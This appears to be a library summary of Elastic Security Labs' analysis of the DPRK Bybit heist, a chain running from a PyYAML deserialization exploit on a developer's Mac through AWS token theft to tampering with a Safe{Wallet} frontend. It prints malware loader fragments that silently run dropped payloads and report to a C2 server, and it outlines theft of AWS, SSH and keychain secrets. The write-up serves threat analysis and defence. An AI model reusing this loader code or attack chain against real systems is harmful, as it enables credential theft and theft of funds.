# Bit ByBit - emulation of the DPRK's largest cryptocurrency heist

DPRK compromised a Safe{Wallet} developer's macOS via PyYAML deserialization, pivoted into AWS, and tampered the Next.js frontend to redirect ~400k ETH from Bybit.

- Payout: Real-world hack
- Severity: critical
- Program: Safe{Wallet}
- Analysis by: Colson Wilhoit, Terrance DeJesus
- Disclosed: 2025-05-06
- Write-up quality: 8/10
- Original: https://www.elastic.co/security-labs/threat-command/bit-bybit
- Library page: https://bugbountylibrary.com/r/blog%3Aelastic-co-security-labs-threat-command-bit-bybit
- Tags: area:web3 domain:cloud domain:web3 impact:funds-loss kind:incident platform:threat-intel sev:critical tech:aws tech:nextjs tech:python tech:s3 technique:source-review vuln:deserialization vuln:rce

**Target:** macOS developer workstation, AWS S3 static Next.js frontend
**Root cause:** Backdoored Python app used PyYAML yaml.load() on attacker-controlled YAML, giving RCE; stolen AWS session tokens then allowed overwriting the S3-hosted Next.js bundle with logic that swapped transaction destinations.
**Steps:**
1. Developer runs forked stock-trading Python app; data_fetcher.py fetches YAML from attacker domain and calls `yaml.load()`
2. Malicious YAML deserializes to write base64 loader to `~/Public/__init__.py` and `subprocess.Popen([sys.executable, filePath], start_new_session=True, ...)`
3. Loader self-deletes, beacons to C2 `/club/fb/status`; ret==1 loads Poseidon dylib via `ctypes.cdll.LoadLibrary`, ret==2 `exec()`s in-memory stealer harvesting `~/.aws`, `~/.ssh`, keychain
4. Attacker uses stolen ASIA* session token to enumerate S3, `aws s3 sync` down the Next.js bucket
5. Inject conditional logic into `_app-52c9031bfa03da47.js` swapping recipient address for target wallets, upload via PutObject
6. Trigger multisig transaction; signers approve manipulated payload; ~400k ETH moved to attacker wallets
**How found:** Elastic emulated the attack from Sygnia/Mandiant/Unit42/SlowMist reporting using real VT samples; identified the injection point `_app-52c9031bfa03da47.js` from Sygnia forensics and reconstructed the S3 static-site overwrite path.
**Exploitation:** Social-engineered developer executes backdoored app → PyYAML RCE → Poseidon C2 → credential theft of MFA-backed AWS session token → S3 static site overwrite → malicious JS activates only for Bybit cold wallet address, altering transaction details so approvers sign a redirect to attacker wallet.
**Escalation:** Endpoint RCE → AWS session token reuse → S3 write access → frontend supply-chain tampering affecting all Safe{Wallet} users transacting with targeted addresses.
**Insight:** Static S3-hosted dApp frontends are a high-value supply-chain target: a single PutObject to a bundled JS chunk can rewrite transaction parameters client-side, bypassing backend and contract checks. Monitor CloudTrail for PutObject on `_next/static/chunks/` and enforce SRI/CSP/Object Lock.

## Proof of concept (copied exactly from the original report)

**PyYAML deserialization payload writes and executes loader**

```
directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
 os.makedirs(directory)

Next, it decodes and writes a base64-encoded Python loader script into a new file named __init__.py within the Public directory.

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb") as f:
 f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

Finally, it executes the newly created __init__.py script silently in the background, initiating the second stage of the attack.

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)
```

**Loader ret==3 writes dockerd/docker-init and executes**

```
elif res['ret'] == 3:
 path1 = os.path.join(directory, "dockerd")
 with open(path1, "wb") as f:
 binData = base64.b64decode(res["content"])
 f.write(binData)

 path2 = os.path.join(directory, "docker-init")
 with open(path2, "wb") as f:
 binData = base64.b64decode(res["param"])
 f.write(binData)

 os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
 stat.S_IRGRP | stat.S_IXGRP |
 stat.S_IROTH | stat.S_IXOTH)

 os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
 stat.S_IRGRP | stat.S_IXGRP |
 stat.S_IROTH | stat.S_IXOTH)

 try:
 process = subprocess.Popen([path1, path2], start_new_session=True)
 process.communicate()
 return_code = process.returncode
 requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
 except:
 pass

 os.remove(path1)
```

**Loader ret==1 loads dylib via ctypes**

```
elif res['ret'] == 1:
 if platform.system() == "Windows":
 body_path = os.path.join(directory, "init.dll")
 else:
 body_path = os.path.join(directory, "init")
 with open(body_path, "wb") as f:
 binData = base64.b64decode(res["content"])
 f.write(binData)
 os.environ["X_DATABASE_NAME"] = ""
 ctypes.cdll.LoadLibrary(body_path)
```

